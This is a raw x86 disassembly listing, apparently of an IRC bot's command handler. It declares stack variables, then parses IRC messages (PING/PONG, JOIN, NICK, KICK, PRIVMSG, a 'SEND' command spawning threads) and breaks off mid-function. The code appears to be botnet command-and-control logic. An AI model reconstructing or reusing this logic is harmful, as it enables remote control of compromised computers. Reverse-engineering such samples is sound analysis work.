var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42D128 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42D124 ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42D120 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E1
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E1
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08E
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D0B4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2D


loc_401E91:				; CODE XREF: sub_401ACD+253Cj
					; sub_401ACD+2559j ...
		add	esp, 10h


loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401E96:				; CODE XREF: sub_401ACD+2A62j
		pop	eax


loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A84j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h


loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0


loc_401F52:				; CODE XREF: sub_401ACD+1C36j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87


loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B


loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083


loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019


loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42D060


loc_402077:				; CODE XREF: sub_401ACD+28CDj
					; sub_401ACD+2C4Dj ...
		call	sub_415221


loc_40207C:				; CODE XREF: sub_401ACD+1BE2j
		pop	ecx


loc_40207D:				; CODE XREF: sub_401ACD+7B70j
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D03C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855
		cmp	dword_429088, ebx
		jz	loc_409855


loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42D020
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CFE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BD
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	loc_4023E6


loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BD
		push	32h
		call	near ptr 2690F24h
		nop
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------


loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1


loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42CFE0
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
